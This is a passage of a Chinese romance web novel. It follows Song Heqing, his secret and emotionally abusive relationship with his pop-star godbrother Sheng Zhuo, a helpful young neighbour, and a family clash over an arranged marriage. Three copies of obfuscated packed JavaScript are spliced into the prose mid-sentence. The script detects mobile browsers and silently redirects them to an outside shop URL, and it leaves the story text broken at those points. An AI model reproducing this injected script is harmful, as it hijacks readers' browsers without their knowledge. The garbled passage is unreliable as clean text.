盛灼终于抬起眼,神情里带着明显的不悦:“你知道我为什么不想回去。” 宋鹤清面露为难:“我知道你不想看到那个女人和她的儿子。到时候你可以……无视他们,不用理会的。” “无视?”盛灼嗤笑一声,眼神讽刺,“无视就可以当他们不存在吗?有些人的存在本身就是为了恶心我的。” 宋鹤清被他这话噎住,一时无言。 当年他跟随容曼仪进入盛家时,盛灼也是这般恶心他们。只是那时的盛灼为了在父亲面前装作识大体的样子,才假装表面接纳他们。 这些年盛灼对父亲越来越失望,不再渴望得到父亲的认可,也就不装了,对父亲的第三任妻子横眉冷对,从不收敛。 盛灼忽然盯住他,反问:“你为什么这么想我回去?” 宋鹤清迎着他的目光,认真回答,清润的瞳眸清晰:“我是怕你们父子的关系越来越僵。” “那是他逼的,”盛灼提起这个就不爽,语气冷硬,“他根本不在乎我的意见和想法,想娶谁就娶谁,想跟谁生就跟谁生。我凭什么要接纳厌恶的人当继母?” 宋鹤清垂下眼眸,纤长的睫毛投下一片小小的阴影,默默吃饭,不再继续这个话题,免得又惹他生气。 这副逆来顺受的模样看得盛灼心里无名火起,嘲讽道:“宋鹤清,你管得是不是太多了?你以为他认你当干儿子真是看得起你吗?不过是为了让你更方便管着我而已,别太把自己当回事了。” 宋鹤清睫毛颤了颤,依旧低头沉默吃饭,安静地夹菜,不再接对方的话。 这顿饭最终在不愉快的气氛中结束。 盛灼撂下筷子,起身离开餐厅,走到门口时,头也不回地扔下一句:“周五我去。” 宋鹤清怔了一下,随即应道:“好。” 桌上的酸汤鱼几乎没动多少。 宋鹤清看着那盆渐渐凉掉的鱼,默默起身,将剩菜连同那份精心准备的心意,一起倒进了垃圾桶。 之后没有再上楼打扰盛灼创作,安静地离开了。 水江苑高层小区。 宋鹤清住在25楼。门打开后准备脱外套,却发现地面有水。 心里一沉,赶紧去厨房。 果然是厨房的水管坏了,正不停地往外渗水。 还好他回来得不算太晚,积水只是漫过了一小片地方。 他赶紧放下东西,从储物柜里拿出工具箱,挽起袖子自己动手修理。 然而折腾了半个多小时,不但没修好,反而溅了自己一身水,毛衣湿了大半,黏糊糊地贴在身上,既狼狈又腰酸背痛。 他扶着腰叹了口气,果然自己还是不合适做这些。放弃了自己修理的念头。 一边用干毛巾擦着手,一边走到门口准备开门通风,同时拿出手机联系维修师傅。 电话刚拨通,身后的电梯“叮”一声响了。 住在家对门的邻居高叙林背着双肩包,戴着耳机走了出来。嘴里还轻轻地哼着音乐,很是惬意随性。 “清清哥?” 高叙林看到他这身狼狈的样子,随即关切地问,“你在干什么?怎么一身水?” 宋鹤清觉得自己此时形象有些不太体面,不好意思地指了指屋内:“厨房水管坏了,正想找师傅来修。” 高叙林探头往里看了看,立刻热情地说:“这种小事你找我啊!我马上就能帮你修好。等师傅到了都快水漫金山了。” 宋鹤清有些意外:“你会修这个?” “试试呗,应该没问题。”高叙林笑得青春洋溢。 宋鹤清也没再推辞:“那真不好意思,麻烦你了。”便跟电话里的维修师傅说不用来了。 “邻居之间不用这么客气。就是要多帮忙,多互相麻烦,这样关系才会越来越好。”高叙林说着,跟着宋鹤清进了屋。 他利落地脱下背包和外套,里面只穿了一件工字背心,结实的臂膀和胸膛肌肉线条一下子显露出来,充满了年轻男性的力量感。 宋鹤清快速看了一眼那肌肉便移开目光。忽然一只拿着纸巾的手伸了过来,他疑惑地看向高叙林。 高叙林长得很高,大概有一米八八,此时微微低头眼里带笑看着他:“清清哥,你脸上也有水哦,我帮你擦一下。” “额我自己……”宋鹤清话还没说完,高叙林已经在擦他的脸了。 鼻子上、下巴上、脸颊上还有嘴唇上…… “谢谢,我自己来。”宋鹤清拿过纸巾囫囵擦脸。把自己白皙的脸擦得有些红。 高叙林眸光闪烁,笑了笑,而后走到厨房蹲下/身,歪头检查了一下水管,拿起工具专注地捣鼓起来。 宋鹤清站在他身后,时不时询问需要他拿什么工具。 两人配合默契,没过多久水流声就停止了。 “修好了!我说很快吧?”高叙林站起身,拍了拍手,一脸等待被夸的期待模样。 宋鹤清很是惊喜,说:“太谢谢你了,没想到你真会修这些,有点出乎我意料。” 高叙林听着对方夸赞的话,脸上露出很受用的满足表情。 宋鹤清又说:“你还没吃晚饭吧?今天我请你,就当是感谢,还请你不要拒绝。” 高叙林眼睛一亮,也不客气:“行啊,不过不用出去吃。反正我俩住得这么近,干脆在你家吃就行。其实吧,我早就想尝尝你的手艺了。因为有时经过你家总是闻到超级香的饭菜味,但又不好意思开口。” 宋鹤清被他直白的话逗笑了,心里那点郁闷也散了些:“不好意思,我不是故意让香味飘出去的。害得屡屡勾起你馋虫。希望等会儿你吃了以后不要失望就好。” “肯定不会,我一点都不挑食。就怕清哥让我吃了一次后,还想来吃,到时候像个狗皮膏药一样甩不掉就麻烦了。”高叙林开玩笑地说。 宋鹤清温柔地笑,他很喜欢和高叙林说话,总是让他很开怀。 回卧室换下湿毛衣,然后进厨房开始准备晚餐。见高叙林竟然在帮他拖地,赶紧过去拿拖把:“叙林,你去客厅坐着看电视吧,这些我来就行。” “帮人帮到底嘛,反正帮你修好了水管,地面也顺便拖了。”高叙林不让他拿,继续拖着。 宋鹤清无奈,任由他拖。 没过一会儿高叙林就拖完了,非要跟着一起来厨房帮忙。 “清清哥,你就让我在旁边学习学习嘛,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528775|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要赶我出去嘛好不好。”高叙林笑嘻嘻地跟他撒娇。 宋鹤清有些招架不住对方的撒娇,无奈又觉得有些好笑:“学习一下也好,以后做给女朋友吃。”说着开始系围裙。 高叙林哈哈一笑:“找对象还早着呢。倒是清清哥你,谈恋爱没?你长得这么好看,性格又好,肯定很多人追吧?”他目光落在对方系围裙的后腰上,居然腰这么细,感觉自己两只手就能掐住。 宋鹤清正在切菜的手微微一顿,低头浅笑了一下,带着点自嘲:“我都快三十三了,没什么人喜欢。” “怎么可能,你看起来顶多二十七八。肯定是要求太高了,”高叙林语气笃定,随后顺势问,“你喜欢什么类型的啊?有具体要求吗?” 宋鹤清脑子里闪过盛灼的脸,不想继续这个话题,轻声带过:“我暂时……没有谈恋爱的打算。” 他和盛灼的关系是不光彩的,是见不得人的,更是他内心深处无法言说的枷锁。 他注意到高叙林还穿着那件背心,露出的肌肉一看就是经常健身的。便转移了话题:“你冷不冷?要不把外套穿上吧,别着凉了。” 高叙林笑道:“我年轻,火气旺,不怕冷。你手如果冰冷的话,可以摸我取暖哦。” 宋鹤清错愕一瞬,这小男生倒是非常自来熟。当然他是不会去摸对方的。又转移其他话题,问道:“你现在在上班了没?” “没呢,”高叙林洗着蔬菜,“我还在念大三。” “那你学的什么专业?”宋鹤清。 “管道维修。”高叙林。 宋鹤清信了,一副了然的模样:“原来如此,难怪这么会修水管呢。” “哈哈哈哈,清清哥你好可爱,我骗你的,”高叙林笑他,而后说,“我是学法律的。” 宋鹤清无可奈何地笑,没再说什么,继续低头切菜。 露出的一节后脖,皮肤白皙细腻,像上等的美玉,也像天鹅。高叙林不由得多看了几眼。 晚餐很快做好了,两荤两素一汤,摆上桌倒也显得丰盛诱人。 高叙林兴奋地拿出手机:“我得拍个照发朋友圈,炫耀一下。” 看着他充满活力的样子,宋鹤清沉寂已久的心微微泛起暖意。 他已经记不清自己上一次发朋友圈是什么时候了。他的生活几乎全部围绕着盛灼,很少会记录属于自己的片刻。 吃到中途时,犹豫了一阵的宋鹤清才开口:“叙林……你能把刚才拍的照片发我一张吗?” “当然可以!”高叙林立刻答应。 两人顺势加上了微信。 高叙林发了好几张照片过来,宋鹤清只选了一张角度最好的,配了简单的两个字“晚餐”,发了出去。 没过多久,他点开朋友圈,看到盛灼在朋友圈下的评论:【一个人吃得完这么多吗?】 宋鹤清回复:【不是,还有邻居。】 大约半个小时后,门口传来指纹锁开启的“嘀”声。一道高大的身影裹挟着冬夜的寒气走了进来。 他穿着黑色冲锋衣,黑色长裤,戴着黑色鸭舌帽,黑色口罩。整张脸都被遮得很严实。 但这宽肩窄腰大长腿的模特身材,哪怕遮住脸也是个吸引人的大帅哥。 宋鹤清惊讶地看着本该在家里创作的人突然出现在这里,愣了几秒才站起身:“阿灼?你怎么来了?” 盛灼站在玄关,头顶几乎和门框一样高,有一种居高临下的压迫感。 他反手关上门,随后取下口罩,露出那雕塑一般完美的俊脸。 深潭一样的眸子凝视着宋鹤清,像有漩涡一般似要把人吸纳进去。 嘴角勾起一抹似笑非笑的弧度,语气轻飘飘的,更像是阴阳怪气:“怎么,我来得不是时候?” 5. 第5章 【第5章】: 宋鹤清感觉盛灼周身气压很低,像个不定时炸弹。 盛灼没有换鞋,直接一步一步朝宋鹤清走来。 宋鹤清看着盛灼阴沉的脸。声音不自觉地发颤:“阿灼,你……你确实来得不是时候。” 盛灼眯起眼,眸光透着危险。 他没有说话,但沉默比说话更有压迫力。 宋鹤清内心忐忑,因为不知道盛灼突然来的用意。他解释道:“你要是早一点来,我们就可以一起吃了。现在……已经吃完了。”他的目光下意识地看向餐厅的方向。 盛灼顺着他视线望去。餐桌干干净净,碗碟早已收拾一空,厨房也收拾过了。显然用餐早就结束。 “你邻居呢?”盛灼的声音不高,却在安静的室内显得异常冰冷。 宋鹤清:“他吃完后就回去了。” 盛灼不再看他,径直走到客厅那张宽沙发前,以一种全然掌控的姿态坐下。 后背陷进靠垫,长腿交叠,慵懒里带着不容置疑的霸道:“跟那个邻居很熟吗?” 他指尖在沙发扶手上轻轻点着,“怎么不介绍我们认识一下?” 这话问得突兀,像带着刺。 宋鹤清怔了怔,有些茫然:“你是大明星,如果露脸,会暴露你行踪的……我怕给你添麻烦。” 盛灼却嗤笑一声,视线如有实质般在他身上来回扫视,带着高高在上的审视,仿佛天生就该如此傲慢地审视众生。 “宋鹤清,”他讥讽道,“你好像很不欢迎我来。” “没有,不是的……”宋鹤清急切地否认,心脏因为这句指控而紧缩。他怎么会不欢迎?天知道他有多盼望盛灼能来,哪怕是像现在这样,带着莫名的不满突兀地闯进家里。 盛灼几乎很少很少来他家,上一次来是去年,还是前年?他几乎快要记不清了。 他考虑到盛灼是顾忌明星的身份,怕被狗仔追踪,所以不来。 自己也从不主动要求,也从不抱怨。自己能理解,一直都告诉自己必须理解。 “今天是因为厨房水管坏了,邻居帮忙修好了,我就想着……怎么也该请人家吃顿饭表示感谢。”宋鹤清继续解释着,希望能消除盛灼那莫名的不悦。 盛灼却只是轻轻笑了一声,那笑声里听不出什么情绪,反而更显疏远。 “你跟我解释这些做什么?”他抬眼,目光凉薄。 宋鹤清所有的话都被堵在了喉咙里。 他看着盛灼,心里又激动又开心,又惶恐又忐忑,最后都化作了无声的沉默。 他猜不透盛灼突然来的用意,这“恩赐”让他手足无措。 “我还没吃饭。”盛灼移开目光,语气平淡。 宋鹤清像是接到了指令的士兵,瞬间懂了,高兴地说:“我马上去给你做。” 他立刻转身走进厨房开始做饭。 客厅里,盛灼打量着这个许久没来的地方。 一切都和记忆中没有区别,简洁,干净,甚至有些过于朴素,缺乏生气。 家里居然没有一株植物。 明明宋鹤清在他家时总会精心照顾他家花园里的植物,那些植物被照料得生机勃勃,还以为宋鹤清喜欢植物,但看来更像是完成任务。 盛灼又走到宋鹤清卧室。 这卧室和客厅简洁朴素的风格完全不同。像个狂热粉丝的秘密基地——置物架上摆满了他出道以来的所有周边,墙上贴满了他的海报,桌上整齐码放着他发行的每一张唱片。 跟那些疯狂迷恋他的粉丝没什么两样。 对此盛灼并不觉得感动,甚至有些漠然。 在他看来,宋鹤清喜欢他、迷恋他,是理所当然的事。 宋鹤清本就墨守成规,又念旧,他的家自然不会有什么变化,顶多只是随着时间推移,又多添置了几件有关他的东西而己。 厨房里传来轻微的响动,很快宋鹤清就端着饭菜走了出来。 “阿灼,饭好了。”他轻声唤道。 盛灼走到餐桌前坐下。 宋鹤清递给他一双干净筷子,脸上是温和的笑容。 然而下一秒,“啪”的一声,筷子被盛灼摔在餐桌上,声音刺耳。 宋鹤清吓了一跳,浑身一颤,惶恐地看向盛灼,不明白又哪里惹他不快。 盛灼眼里满是怒意,声音冰冷:“宋鹤清,你敢给我吃剩饭?” 桌上的几道菜,和宋鹤清不久前发在朋友圈的一样,只是分量少了,品相也因二次加热差了些。 碗里的米饭没有现蒸的感觉,一看就是重复加热过的。 宋鹤清慌忙解释:“我是想着这样快一点,怕你饿着,等急了……”他的声音越来越轻,在盛灼愤怒的注视下显得格外无力。 盛灼猛地站起身,高大的身影将宋鹤清完全笼罩在阴影之中:“我盛灼就算饿死,也不吃别人剩下的东西!” “阿灼,你听我说……”宋鹤清还想再解释。 但盛灼根本不给他任何机会。迈开长腿朝着门口走去,动作快得带起一阵风。 “砰——!” 门被狠狠甩上,声音在房间里回荡,震得宋鹤清耳膜发疼,心里也像被砸碎了一样。 屋内安静得有些死寂。 宋鹤清茫然地站在客厅中央,像被丢弃的玩具。 空气中还残留着盛灼身上的冷冽香水味,提醒他刚才的一切不是幻觉。 盛灼好不容易来一次,却被自己气走了。现在该怎么办?马上去哄吗? 但是盛灼脾气大,阴晴不定,正生气时很难哄好,往往试图靠近只会换来更多的羞辱。 他不明白,自己已经很小心了,为什么还是总会惹盛灼生气? 他到底要怎么做,才能取悦盛灼? 是不是他这个人,从始至终,就没有哪怕一点,是长在盛灼喜欢的点上的? 除了这具身体偶尔还能吸引盛灼的性/趣外,他是不是真的毫无可取之处? 宋鹤清身体一点点失去力气,缓缓坐在冰凉的地板上。 一颗心不断地往下沉,往下沉,下沉…… 仿佛坠入无底深渊,窒息感如潮水般涌来。 他像一条快要溺死的鱼,徒劳地张着嘴,却呼吸不到救命的氧气。 慌乱间,他摸索出手机,颤抖着点开音乐软件,找到那首他设置了单独列表,单曲循环无数遍的歌:《晨光里的悄悄话》。 轻柔的旋律流淌出来,伴随着盛灼那辨识度极高的天籁之音: 这是清晨写下的情诗 每株花草都知晓心事 我们在曦光中慢慢走 手牵手就是整个宇宙 爱如藤蔓缠绕着年华 每一天都长出新枝桠 …… 这首歌是盛灼为他写的。 他一直渴望盛灼能为他写一首歌,只属于他的歌。 五年前,在他生日当天,盛灼发布了这首单曲,说是送给一个“特别的人”。 网友们猜测纷纷,但谁也没猜到。只有宋鹤清知道,这是给他的 当时他又哭又笑,高兴得像拥有了全世界。 这些年来,这首歌成了他的救命稻草,他的精神支柱。 每天都要听,百听不厌。 仿佛只要听着这首歌,就能从中汲取到一点点希望,就能自欺欺人地相信——盛灼对他,或许是有那么一点点喜欢的。 哪怕只有一点点,也足够支撑他在这段令人绝望的关系里继续坚持下去。 宋鹤清将脸埋进蜷起的膝盖里,双手紧紧抱住自己。眼泪无声地浸湿了衣服。 或许,只要他先放手,他们两个人就都能从这段扭曲的,不对等的关系里得到解脱。 可是…… 他太爱盛灼了。 爱到骨子里,爱到失去自我,爱到哪怕被伤得遍体鳞伤,只要盛灼勾勾手指,或者仅仅是一个不经意的眼神,他就会毫无尊严地再次沦陷。 他放不了手。 — 周五,盛家大宅。 出发前,宋鹤清给盛灼打电话,想要问他是否需要他开车去接。 但拨打的铃声一遍遍响着,直到自动挂断都无人接听。他又发了信息,同样毫无回应。看来盛灼气还没消。 拿着手机的手不自觉有点发颤。这是近段时间才有的症状,每当盛灼不理他、不回应他、忽视他的时候,就会不自觉颤抖。 身体好像出了点问题。 宋鹤清放下手机,心里发涩。 他以为自己早就习惯了对方的冷暴力。没想到身体却不能习惯。 他只好自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528776|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驱车前往盛宅。 盛家大宅。 宋鹤清走进主厅时,发现盛灼已经先他一步到了。 他坐在中央那套昂贵的意大利真皮沙发上,姿态闲适,却透着不耐烦,周身气场生人勿近,完全无视旁边沙发上的年轻女人和五岁小男孩。 那个女人叫邱澜,是盛朗的第三任妻子,今年才二十四岁,名牌大学毕业,十九岁时就为盛朗生下了儿子。 她长得很美,性子柔弱,低眉顺眼,很能激发男人的保护欲。 和盛朗的前两任妻子风格完全不同。 盛朗的第一任原配妻子是利落果决的女强人。能激起男人的征服欲。 第二任妻子是风情万种的狐狸精。能激起男人的兽\欲。 第三任妻子是低眉顺眼的女大学生,能激起男人的掌控欲。 每一任妻子都代表了盛朗不同的择偶观,也能窥见他内心的变化。 此刻邱澜正小心翼翼地搂着儿子,连呼吸都放得很轻,生怕一个不小心惹怒了盛灼。 那个在娱乐圈红遍大江南北的顶流歌手,如今是她名义上的“继子”。 她怀里的孩子也睁着大眼睛,怯生生地看着盛灼,不敢吵闹。 “干爹。”宋鹤清收敛心神,走上前,恭敬地唤道。 端坐在主位上的盛朗,年近六十却精神矍铄,带着久居上位的威严。见到宋鹤清,脸上露出些许真切的笑意:“鹤清来了,坐。” 宋鹤清将带来的名贵礼品交给一旁的佣人,脸上挂着得体的微笑,在盛灼斜对面的沙发上坐下。 他能感觉到,从他进门开始,盛灼那冰冷的视线在他身上一扫而过,随即又继续将他以及在场的其他人都视为空气。 气氛有些凝重。 宋鹤清只好硬着头皮与盛朗话家常,询问身体,聊聊近况,全程不敢主动与盛灼有任何眼神或语言的交流。 午宴时,长长的餐桌上摆上了精致的菜,气氛却比刚才在客厅时更加僵。 盛朗用餐巾擦了擦嘴角,看向一直沉默吃饭,姿态随意的盛灼。声音沉稳且有力度:“你今年二十八了,也不小了。玩玩音乐可以,但不能玩一辈子。三十岁前,必须定下联姻对象。自己趁早收收心,别一天到晚都搞那些不着调的东西。” 宋鹤清握着筷子的手紧了紧,心里一沉。 该来的,终究还是来了。 盛灼却像是没听见,眼皮都没抬一下,继续慢条斯理地用着餐,完全将盛朗的话当作空气。 那种无视的态度比直接的顶撞更令人恼怒。 盛朗的脸色沉了下去,并没有立刻发作。转而看向有些心不在焉的宋鹤清:“鹤清。” 宋鹤清正心神不宁,直到盛朗又提高音量喊了两声,他才猛地回神。 “抱歉,干爹,”他连忙道歉,“我刚才在想些工作上的事情,没注意听。” 盛朗看着他,语气平和:“无妨。我让小澜初步筛选了一些各方面条件都不错的世家千金的资料。你帮你弟弟把把关,选一下。你比我们都了解他,应该更清楚他的喜好。这件事交给你来办,我放心。” 邱澜闻言,拿起手边一叠资料册,优雅地双手递向宋鹤清。 宋鹤清看着那递到眼前的册子,封面上“名媛资料”几个字像针一样扎进他的眼睛里。 他有些缺氧般的眩晕,几乎要喘不过气。 为什么要让他来选? 为什么要让他亲手为自己的爱人,挑选未来的妻子? 无边的苦涩几乎要将他的理智淹没。 他用力掐着自己的掌心才克制住几乎要失控的情绪。 脸上努力维持着平静,甚至挤出一丝体面的笑,伸出手去接那叠资料。 就在他的手指即将触碰到册子的边缘时,一只骨节分明的手猛地伸过来,带着狂暴的力道,一把将那叠资料全部掀飞! “哗啦——!” 册子四散纷飞,纸张像雪片一样落在地毯上、餐桌上,有的还掉进了汤碗里。 霎时间,餐厅里的气氛一下子降到最低。 所有人的视线都集中在盛灼身上,惊愕的、恐惧的、愤怒的。 盛灼站起身,高大的身影带着极强的压迫感,他脸色阴沉,目光直直看着主位的盛朗:“你们给我选妻子,问过我意见了吗?” 6. 第6章 【第6章】: 盛朗的脸色阴沉得可怕。常年久居高位的威压如有实质般弥漫整个餐厅。 在场所有人大气都不敢出。 除了盛灼。 他站在那里像一座桀骜不驯的孤峰,直面雷霆之怒。 小男孩被这突如其来的凝肃气氛吓得整个小脑袋埋进邱澜的怀里,瑟瑟发抖。 邱澜紧紧搂着儿子,安抚的动作都不敢太大。 “问你?”盛朗鹰隼般锐利的眼神射在盛灼身上,“问你你会同意吗?” 宋鹤清的脊背瞬间绷紧。手不自觉地握成了拳。 盛朗不等盛灼回答,强势地宣布:“不管你同意也好,不同意也好,必须在三十岁前结婚。这不是商量,是通知。” 死寂般的空气中,忽听盛灼发出一声极轻的讥诮嗤笑。 这笑声在安静的环境里显得格外刺耳。 他没有看盛朗,反而将目光转向了如坐针毡的宋鹤清,眼眸里翻涌着恶意和某种自毁般的快意。 “哥,”他声音带着一种玩味的残忍,像猫在玩弄爪下的老鼠,“你帮我看看,这些联姻对象……都是女人吗?” “哥”这个称呼,在此刻从盛灼嘴里吐出,不带半分亲昵,只有赤裸裸的嘲讽。 宋鹤清心脏狂跳得几乎要撞碎胸骨。 内心十分恐慌,但他强迫自己迎上盛灼的视线,尽力让神情显得自然,强自镇定道:“当然。” 他害怕盛灼会不管不顾地撕开他们之间最不堪的秘密,暴露在他最敬畏的干爹面前。 盛朗的眉头拧得更紧,显然被这个荒谬的问题激怒了:“当然都是女人,门当户对的世家千金,难不成还有男人么?!” 盛灼脸上的乖戾笑容加深了,他像是很满意自己投下的这颗石子激起的涟漪,用一种近乎天真又恶毒的语气说:“哦,都是女人啊……那就给我找几个长得像男人的女人来。” “混账!说的什么混账话!”盛朗眼里的愤怒仿佛要吞没一切。他以为这是盛灼为了反抗而故意找的茬。 盛灼已经耗尽了所有的耐心,他不再理会暴怒的父亲,也不再去看脸色苍白的宋鹤清。一脚踢开身后沉重的实木餐椅,然后双手插兜,迈着长腿头也不回地离开了餐厅。 宋鹤清看着盛灼离去的背影,深吸一口气,转回头看向盛朗,内心焦急万分,但面上依旧保持着冷静和体面。 “干爹您别动怒,保重身体要紧。小灼……他说的都是气话,当不得真。” 盛朗气得不轻。他侧目看向宋鹤清,语气稍微缓和了些:“鹤清,你去劝劝他。这个家里他谁的话都不听,但偶尔还能听进去你几句。你做事一向有分寸,我放心。” 宋鹤清心里沉甸甸的,让他喘不过气。但他依旧保持着那副温顺可靠的模样,一如过去无数个时刻,恭敬地听从盛朗的安排,应道:“好的干爹。您慢用,我先告辞。” 盛朗疲惫地挥了挥手。 宋鹤清起身,几乎是逃离般地离开了这个令人窒息的空间。 一直大气不敢出的邱澜此刻才小心翼翼地起身,走到盛朗身边,用那双柔弱无骨的手轻轻为他顺着后背,声音温柔得能滴出水来:“朗哥,别生气了,小心气坏了身子。小灼他还年轻,不懂事,慢慢教导就好了……” 盛朗闭上眼,感受着身后温柔的抚慰,对这样的温柔小意很是受用。紧绷的脸色稍霁,怒意被这汪春水浇灭了大半。 - 宋鹤清一路追到三楼,径直走到盛灼的房间。 盛灼的卧室有两百多平方,宋鹤清转了一道弯后走到卧室中央。 “阿灼,阿灼,你听我说……”他的气息有些不稳。 盛灼姿态慵懒地坐在沙发前,好像刚才在楼下发生的事与他无关。 他撩起眼皮,冷冰冰地看着追进来的宋鹤清。 宋鹤清站定在盛灼跟前,微微俯身解释道:“答应干爹的事只是权宜之计,我当时不能拒绝。否则干爹很可能会察觉到我们之间的秘密关系。” “权宜之计?”盛灼讥诮地反问,“怎么个权宜法?假装接下这个任务,然后‘精心’挑选一个‘合适’的世家千金,让我跟她结婚?而你呢?继续躲在暗处,做我见不得光的地下情人?” 他的每个字都像淬了毒的针,狠狠扎在宋鹤清的心上。 “不是的,阿灼……你明知道不是这样的……”宋鹤清急切地辩解,“我绝不会让你的婚姻变成一场儿戏,更不会让你陷入那种境地!我只是需要时间想一个万全的对策来应对……” 盛灼依旧用嘲讽的目光看着他。 忽然,他猛地伸出手一把攥住了宋鹤清的衬衫衣领,力道很大,使得宋鹤清身形不稳,向前一个踉跄,不得不躬身靠近他。 两人之间的距离瞬间被拉近,呼吸交缠。 盛灼盯着宋鹤清近在咫尺的有些惊慌的眼睛,嗓音沉而危险:“宋鹤清,当初是你先勾引了我。现在害得我对女人没兴趣了,你要怎么负责?” 他欣赏着宋鹤清更加苍白的脸色,继续威胁道:“要不,我现在就去告诉我爸,让他看清楚,他一直信任的稳重可靠的干儿子,背地里到底是怎样一副真面目?” “不要,阿灼……”宋鹤清的声音抑制不住地发颤,他感觉自己闯下了弥天大祸,而报应即将来临,“这件事情我一定会想办法处理好……求你……” 盛灼的拇指摩挲着宋鹤清粉嫩的唇瓣,力道粗暴而狎昵,像是在把玩一件玩具:“宋鹤清,如果要下地狱,我一定要拉着你一起下去。我们之间的事,你别想干干净净抽身!” “我知道……都是我的错……”宋鹤清闭上眼,长长的睫毛如同蝶翼般颤抖,“如果注定要下地狱,我只会自己下去,一定会保全你……” 盛灼看着这张清冷又破碎的漂亮脸庞,心中那股破坏欲与某种扭曲的占有欲交织升腾。 他掐住宋鹤清的下颌,迫使对方抬起头,然后狠狠地吻了上去。 这个吻带着惩罚般的霸道,仿佛要将眼前这个人彻底打上自己的烙印。 - 傍晚时分,夕阳的余晖将天空染成一片凄艳的橘红。 二楼书房。 宋鹤清推门而入。 这间书房别有洞天,两面是顶天立地的巨大书架,填满了书籍,显得庄重而肃穆。 然而其中一面书架却是一道伪装的暗门。 宋鹤清熟练地找到机关,推开书架暗门进入这个绝密空间。 房间内的布置相对简洁,只有一张沙发,一张书桌,一张座椅。还有一个保险柜。 盛朗就坐在那张单人沙发上,指间夹着一支昂贵的雪茄,慢慢地吐着烟圈。烟雾缭绕,模糊了他冷肃的面容。 “坐吧。” 宋鹤清依言坐下。 盛朗吸了一口雪茄,缓缓问道:“今天的事情你也看到了。鹤清,你有多大把握能让小灼在三十岁前答应联姻,收心回来继承家业?” 宋鹤清垂下眼睑,避开那审视的目光:“暂时还没有把握。” 盛朗的眉头蹙了起来,显然对这个回答很不满意:“鹤清,你辜负了我对你的信任。” 宋鹤清其实心里比谁都清楚,盛朗当年之所以会认下他这个“干儿子”,并非真的有多么器重他。只是因为盛灼比较听他的话。 因为盛朗自己除了动用强制性的权力手段外,对他那个桀骜不驯的亲生儿子几乎无计可施。 他宋鹤清不过是盛朗用来约束盛灼的一道枷锁。 “干爹,请您再给我一点时间,”宋鹤清抬起头,“我会慢慢劝他的……” 盛朗沉默了片刻,烟雾后的眼神锐利如鹰。 他忽然换了个话题,语气平淡,却带着千钧之力:“七年前的那个承诺,还有两年就快到期了。” 宋鹤清的身体几不可查地僵硬了一下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528777|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他从未忘记。 他怎么可能会忘? 那段记忆深深地刻在他的灵魂深处。 七年前,一个闷热得令人窒息的夏日午后。 就是在这间绝密的房间里,他抛弃了所有的尊严和骄傲,跪在盛朗的脚边,为盛灼苦苦哀求。 那天上午一家人原本还在和乐地吃着家宴。 直到盛朗再次提起让盛灼不要再“不务正业”玩音乐,应该尽快进入家族企业工作。 父子俩从一开始的争执,到后来的激烈争吵,谁也不肯退让。 盛灼那时的音乐事业如日中天,追捧他的粉丝千千万,让他放弃梦想完全不可能。 最终这场家宴不欢而散。 他不忍心看到盛灼的梦想被如此粗暴地扼杀,于是他私下见盛朗,做出了他人生中最重要的,也可能是最错误的决定。 他跪在地上向盛朗承诺,自己愿意放弃他热爱且小有成就的中医事业,全身心进入盛鼎集团,成为盛朗的左膀右臂,暂代盛灼履行继承人的职责,为他提前培养势力,稳固根基。 而他交换的条件是——让盛灼能够在三十岁之前安安心心地做音乐。同时他还承诺,会说服盛灼在三十岁那年回来继承家业。 这场交易充满了风险与不确定性。 盛朗几经权衡,最终还是答应了。 在他看来,用一个听话的干儿子去管着一个不听话的亲儿子,是一笔划算的买卖。 至于宋鹤清放弃的中医事业,他根本没放在心上。 这件事情成为了只有他们两人才知道的秘密契约。 这些年来,两人都心照不宣地遵守着。而盛灼一无所知。 “干爹您放心,”宋鹤清的声音有些沙哑,不仔细听几乎察觉不到,“我没有忘。一刻也不敢忘。” 盛朗看着他脸上藏不住的疲惫和挣扎,便缓和了语气,像是安抚又像是施舍,说:“鹤清,你是我看着长大的,你的心性稳定,性格人品我都认可。这些年你帮我管束小灼,在公司也尽心,你的功劳和苦劳我都记着。等以后小灼真正成熟,顺利继承了家业,我会给你留下一份足够你后半生无忧的丰厚遗产,不会亏待你。” 宋鹤清习惯了盛朗的打一巴掌给一颗枣。他摇了摇头,眼神空茫又真诚:“干爹,我做这些不是为了得到您的遗产。我是真心待阿灼好。我只希望他好。” 盛朗根本不相信,但也不想再多说,只是摆了摆手:“好了,你也累了,回去好好休息。” 宋鹤清站起身,微微鞠躬,转身离开了书房。 从书房出来,踩在走廊厚重的地毯上,宋鹤清的脚步沉得有些抬不起来。 一路经过走廊墙壁上的名画,角落里摆放的古董,这些在他眼里都像是这个华丽牢笼的无情符号。 